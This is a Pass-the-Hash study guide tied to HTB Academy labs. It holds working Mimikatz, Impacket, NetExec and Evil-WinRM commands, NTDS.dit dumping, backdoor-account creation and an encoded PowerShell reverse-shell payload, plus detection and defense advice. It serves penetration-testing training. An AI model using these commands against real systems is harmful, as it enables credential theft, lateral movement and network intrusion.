Pass the Hash (PtH) Attacks

🎯 Overview

Pass the Hash (PtH) is a lateral movement technique where an attacker uses a password hash instead of the plain text password for authentication. The attacker doesn't need to decrypt the hash to obtain a plaintext password, exploiting the NTLM authentication protocol where password hashes remain static until the password is changed.

"PtH attacks exploit the authentication protocol, as the password hash remains static for every session until the password is changed."

🧠 Windows NTLM Authentication Protocol

NTLM Overview

Microsoft's Windows New Technology LAN Manager (NTLM) is a set of security protocols that:

Authenticates users' identities
Protects data integrity and confidentiality
Provides Single Sign-On (SSO) functionality
Uses challenge-response protocol for verification

NTLM Vulnerabilities

# Key weaknesses exploited in PtH attacks:
1. Passwords stored without salt on servers/domain controllers
2. Password hashes remain static between password changes  
3. Hash can be used directly for authentication
4. Legacy compatibility requirements keep NTLM active
5. Challenge-response doesn't validate hash freshness

Hash Acquisition Methods

# Common methods to obtain NTLM hashes:
1. Local SAM database dumping (compromised host)
2. NTDS.dit extraction (Domain Controller)  
3. LSASS memory dumping (running processes)
4. Network traffic interception (relay attacks)
5. Credential dumping tools (Mimikatz, secretsdump)

🪟 Windows-Based Pass the Hash Attacks

1. Mimikatz - sekurlsa::pth Module

Basic Mimikatz PtH Syntax

# Required parameters for sekurlsa::pth
/user     - Username to impersonate
/rc4      - NTLM hash (also accepts /NTLM)  
/domain   - Domain (use computer name, localhost, or . for local accounts)
/run      - Program to execute (defaults to cmd.exe)

Mimikatz PtH Execution

# Example: Pass the Hash for user julio
mimikatz.exe privilege::debug "sekurlsa::pth /user:julio /rc4:64F12CDDAA88057E06A81B54E73B949B /domain:inlanefreight.htb /run:cmd.exe" exit

# Expected output:
# user    : julio
# domain  : inlanefreight.htb  
# program : cmd.exe
# NTLM    : 64F12CDDAA88057E06A81B54E73B949B
# |  PID  8404
# \_ msv1_0   - data copy @ 0000028FC91AB510 : OK !
# \_ kerberos - data copy @ 0000028FC964F288

Post-Exploitation with Mimikatz

# After Mimikatz PtH, use the spawned cmd.exe for:
net use \\DC01\julio /persistent:no
dir \\DC01\julio
type \\DC01\julio\file.txt

# Test network connectivity
ping DC01
net view \\DC01

2. Invoke-TheHash - PowerShell PtH Framework

Invoke-TheHash Overview

Collection of PowerShell functions for PtH attacks
WMI and SMB execution methods available
.NET TCPClient for network connections
NTLMv2 authentication protocol implementation
No local admin required (client-side)

Required Parameters

# Core parameters for Invoke-TheHash
-Target    # Hostname or IP address
-Username  # Username for authentication  
-Domain    # Domain (optional with @domain suffix)
-Hash      # NTLM hash (LM:NTLM or NTLM format)
-Command   # Command to execute (optional)

SMB Method with Invoke-TheHash

# Import Invoke-TheHash module
Import-Module .\Invoke-TheHash.psd1

# Create new user with administrative rights
Invoke-SMBExec -Target 172.16.1.10 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "net user mark Password123 /add && net localgroup administrators mark /add" -Verbose

# Expected output:
# VERBOSE: [+] inlanefreight.htb\julio successfully authenticated on 172.16.1.10
# VERBOSE: inlanefreight.htb\julio has Service Control Manager write privilege
# VERBOSE: Service EGDKNNLQVOLFHRQTQMAU created on 172.16.1.10
# [+] Command executed with service EGDKNNLQVOLFHRQTQMAU on 172.16.1.10

WMI Method with Reverse Shell

# Step 1: Start Netcat listener
.\nc.exe -lvnp 8001

# Step 2: Generate PowerShell reverse shell (revshells.com)
# Use PowerShell #3 (Base64) with your IP and port

# Step 3: Execute reverse shell via WMI
Invoke-WMIExec -Target DC01 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMwAzACIALAA4ADAAMAAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="

# Result: Reverse shell connection from target

🐧 Linux-Based Pass the Hash Attacks

1. Impacket PtH Tools

impacket-psexec

# Basic PsExec with hash  
impacket-psexec administrator@10.129.201.126 -hashes :30B3783CE2ABF1AF70F77D0660CF3453

# Expected output:
# Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
# [*] Requesting shares on 10.129.201.126.....
# [*] Found writable share ADMIN$
# [*] Uploading file SLUBMRXK.exe
# [*] Opening SVCManager on 10.129.201.126.....
# [*] Creating service AdzX on 10.129.201.126.....
# [*] Starting service AdzX.....
# Microsoft Windows [Version 10.0.19044.1415]
# C:\Windows\system32>

Other Impacket PtH Tools

# WMI command execution
impacket-wmiexec administrator@TARGET -hashes :NTHASH

# Scheduled task execution  
impacket-atexec administrator@TARGET -hashes :NTHASH

# SMB command execution
impacket-smbexec administrator@TARGET -hashes :NTHASH

# Domain controller replication (secretsdump)
impacket-secretsdump domain/user@TARGET -hashes :NTHASH

Advanced PtH + VSS Extraction

Scenario: Use existing compromised hash to extract additional credentials via Volume Shadow Copy

# Use PtH with VSS to dump NTDS.dit and SYSTEM registry
impacket-secretsdump -hashes :30B3783CE2ABF1AF70F77D0660CF3453 administrator@10.129.206.60 -use-vss

# Alternative: Specify domain context  
impacket-secretsdump -hashes :NTHASH domain.local/administrator@TARGET -use-vss

# Extract specific user hashes only
impacket-secretsdump -hashes :NTHASH administrator@TARGET -use-vss -just-dc-user krbtgt

# Output to file for offline analysis
impacket-secretsdump -hashes :NTHASH administrator@TARGET -use-vss -outputfile domain_hashes

Why VSS + PtH is Powerful:

No LSASS dumping - VSS reads from disk, avoiding memory detection
Complete domain dump - Extract all domain user hashes at once
Stealth extraction - Uses legitimate Windows VSS service
Hash chaining - Use one hash to get hundreds more

VSS Requirements:

Administrator/Local Admin privileges
Target must be Domain Controller
VSS service enabled (default on Windows Server)
Sufficient disk space for shadow copy

2. NetExec (CrackMapExec) PtH Attacks

Basic NetExec PtH

# Single target authentication test
netexec smb 172.16.1.10 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453

# Network range spray attack
netexec smb 172.16.1.0/24 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453

# Expected output:
# SMB    172.16.1.5    445    MS01    [*] Windows 10.0 Build 19041 x64 (name:MS01)
# SMB    172.16.1.5    445    MS01    [+] .\Administrator 30B3783CE2ABF1AF70F77D0660CF3453 (Pwn3d!)

NetExec Command Execution

# Execute commands with PtH
netexec smb 10.129.201.126 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453 -x whoami

# Local authentication method
netexec smb 172.16.1.0/24 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453 --local-auth

# Results:
# SMB    10.129.201.126  445    MS01    [+] .\Administrator 30B3783CE2ABF1AF70F77D0660CF3453 (Pwn3d!)
# SMB    10.129.201.126  445    MS01    [+] Executed command
# SMB    10.129.201.126  445    MS01    MS01\administrator

3. Evil-WinRM PtH

Basic Evil-WinRM Usage

# PowerShell remoting with hash
evil-winrm -i 10.129.201.126 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453

# Domain account format
evil-winrm -i TARGET_IP -u administrator@inlanefreight.htb -H NTHASH

# Expected result:
# Evil-WinRM shell v3.3
# Info: Establishing connection to remote endpoint
# *Evil-WinRM* PS C:\Users\Administrator\Documents>

Evil-WinRM Post-Exploitation

# File upload/download
upload local_file.txt
download remote_file.txt

# PowerShell command execution
Get-ChildItem
whoami /all
net user

🖥️ RDP Pass the Hash Attacks

Prerequisites for RDP PtH

Restricted Admin Mode must be enabled on target host.

Enable Restricted Admin Mode

# Add registry key to enable RDP PtH
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

# Registry path: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
# Value: DisableRestrictedAdmin = 0 (DWORD)

RDP PtH with xfreerdp

# Connect using hash instead of password
xfreerdp /v:10.129.201.126 /u:julio /pth:64F12CDDAA88057E06A81B54E73B949B

# Expected connection with GUI access
# Desktop environment available for interactive operations

🛡️ UAC and PtH Limitations

Local Account Token Filter Policy

# UAC limitations for local accounts
Registry Key: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy

Value 0 (Default): Only built-in Administrator (RID-500) can perform remote admin
Value 1: All local administrators can perform remote admin

# FilterAdministratorToken exception
Registry Key: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken
Value 1: Even RID-500 Administrator enrolled in UAC protection

Domain vs Local Account Differences

# Domain accounts (No UAC limitations)
✅ Full PtH capability against domain-joined machines
✅ Administrative rights preserved across network
✅ No token filtering restrictions

# Local accounts (UAC limitations)
⚠️ Limited to RID-500 Administrator by default
⚠️ Other local admins blocked unless policy changed
⚠️ Token filtering prevents remote operations

🎯 HTB Academy Lab Exercises

Lab Environment

Target Systems: MS01 (Windows client) and DC01 (Domain Controller)
Access: MS01 with tools in C:\tools directory
Hash Example: Administrator 30B3783CE2ABF1AF70F77D0660CF3453
Domain: inlanefreight.htb

Exercise 1: Basic PtH Access

Objective: Access target using Pass-the-Hash and read C:\pth.txt

# Method 1: Using Impacket
impacket-psexec administrator@TARGET_IP -hashes :30B3783CE2ABF1AF70F77D0660CF3453
type C:\pth.txt

# Method 2: Using NetExec
netexec smb TARGET_IP -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453 -x "type C:\pth.txt"

# Method 3: Using Evil-WinRM
evil-winrm -i TARGET_IP -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453
Get-Content C:\pth.txt

Exercise 2: RDP Registry Configuration

Objective: Identify and configure registry value for RDP PtH

# Answer: DisableRestrictedAdmin
# Location: HKLM\System\CurrentControlSet\Control\Lsa
# Value: 0 (DWORD)

# Enable RDP PtH
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

# Connect via RDP with hash
xfreerdp /v:TARGET_IP /u:Administrator /pth:30B3783CE2ABF1AF70F77D0660CF3453

Exercise 3: Hash Extraction with Mimikatz

Objective: Extract David's NTLM hash from current session

# Connect via RDP with Administrator
# Navigate to C:\tools and run Mimikatz
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords

# Look for David's account NTLM hash
# Extract RC4/NTLM hash value

Objective: Use David's hash to access \\DC01\david share

# Method 1: Using Mimikatz PtH
mimikatz.exe privilege::debug "sekurlsa::pth /user:david /rc4:DAVID_HASH /domain:inlanefreight.htb /run:cmd.exe" exit
net use \\DC01\david
type \\DC01\david\david.txt

# Method 2: From Linux using Impacket  
impacket-smbclient inlanefreight.htb/david@DC01 -hashes :DAVID_HASH
shares
use david
ls
get david.txt

Objective: Use Julio's hash to access \\DC01\julio share

# Extract Julio's hash from Mimikatz output
# Use hash: 64F12CDDAA88057E06A81B54E73B949B

# Access share
mimikatz.exe privilege::debug "sekurlsa::pth /user:julio /rc4:64F12CDDAA88057E06A81B54E73B949B /domain:inlanefreight.htb /run:cmd.exe" exit
net use \\DC01\julio
type \\DC01\julio\julio.txt

Exercise 6: Reverse Shell with Invoke-TheHash

Objective: Create reverse shell from DC01 to MS01 using Julio's hash

# Step 1: Start Netcat listener on MS01
C:\tools\nc.exe -lvnp 8001

# Step 2: Import Invoke-TheHash
Import-Module C:\tools\Invoke-TheHash\Invoke-TheHash.psd1

# Step 3: Generate reverse shell command (revshells.com)
# PowerShell #3 (Base64) targeting MS01 IP

# Step 4: Execute reverse shell
Invoke-WMIExec -Target DC01 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "BASE64_ENCODED_POWERSHELL_COMMAND"

# Step 5: Access flag file
Get-Content C:\julio\flag.txt

Optional Exercise: Remote Management Users

Objective: Test john's account with Remote Management Users membership

# Test with Impacket (should fail - wrong protocol)
impacket-psexec inlanefreight.htb/john@MS01 -hashes :JOHN_HASH
# Result: Access denied (SMB not allowed)

# Test with Evil-WinRM (should succeed)
evil-winrm -i MS01 -u john@inlanefreight.htb -H JOHN_HASH
# Result: Successful PowerShell session (WinRM allowed)

📋 Pass the Hash Methodology

Pre-Attack Requirements

# Hash acquisition methods
1. Local SAM database dumping
2. NTDS.dit extraction from Domain Controller
3. LSASS memory dumping
4. Network traffic interception
5. Credential dumping with Mimikatz/secretsdump

Attack Decision Matrix

# Windows environment (internal access)
✅ Mimikatz sekurlsa::pth - Direct hash injection
✅ Invoke-TheHash - PowerShell framework
✅ Built-in Windows tools integration

# Linux environment (remote access)
✅ Impacket suite - Multiple execution methods
✅ NetExec - Network-wide hash spraying
✅ Evil-WinRM - PowerShell remoting

# GUI access required
✅ xfreerdp with /pth - RDP with hash
✅ Requires DisableRestrictedAdmin = 0

Execution Method Selection

# SMB execution (psexec, smbexec)
- Service creation and management
- Requires ADMIN$ share access
- Firewall-friendly (port 445)

# WMI execution (wmiexec)  
- Windows Management Instrumentation
- Requires DCOM permissions
- Stealthier than SMB methods

# PowerShell remoting (Evil-WinRM)
- Requires WinRM service enabled
- Remote Management Users membership
- Interactive PowerShell session

# RDP access (xfreerdp)
- Full GUI desktop access
- Requires Restricted Admin Mode
- Registry modification needed

🛡️ Detection and Defense

Detection Indicators

# Network-based detection
- Multiple NTLM authentication attempts
- Unusual source IPs for administrative accounts
- Cross-subnet administrative activity
- Service creation/deletion patterns

# Host-based detection
- Abnormal process spawning patterns
- Registry modifications (DisableRestrictedAdmin)
- Unusual PowerShell execution
- Administrative tool usage from non-admin systems

Defense Recommendations

# Authentication hardening
✅ Implement LAPS for local administrator passwords
✅ Disable NTLM where possible (use Kerberos)
✅ Enable Protected Process Light for LSASS
✅ Regular password rotation policies

# Network segmentation
✅ Limit administrative account network access
✅ Implement privileged access workstations (PAWs)
✅ Network access control (802.1X)
✅ Micro-segmentation for critical assets

# Monitoring and logging
✅ Monitor event ID 4624 (successful logons)
✅ Track service creation (event ID 7045)
✅ PowerShell script block logging
✅ Sysmon for detailed process monitoring

💡 Key Takeaways

NTLM weakness - Hash reuse without salt makes PtH possible
Multi-platform attacks - Both Windows and Linux tools available
UAC limitations - Local accounts restricted, domain accounts privileged
Registry dependencies - RDP PtH requires DisableRestrictedAdmin modification
Protocol diversity - SMB, WMI, WinRM, RDP all support hash authentication
Network impact - Single hash can compromise multiple systems
Detection challenges - Legitimate authentication protocols exploited
Defense strategy - LAPS, Kerberos, and network segmentation critical

This comprehensive guide covers Pass the Hash attack techniques using Windows and Linux tools, based on HTB Academy's Password Attacks module.

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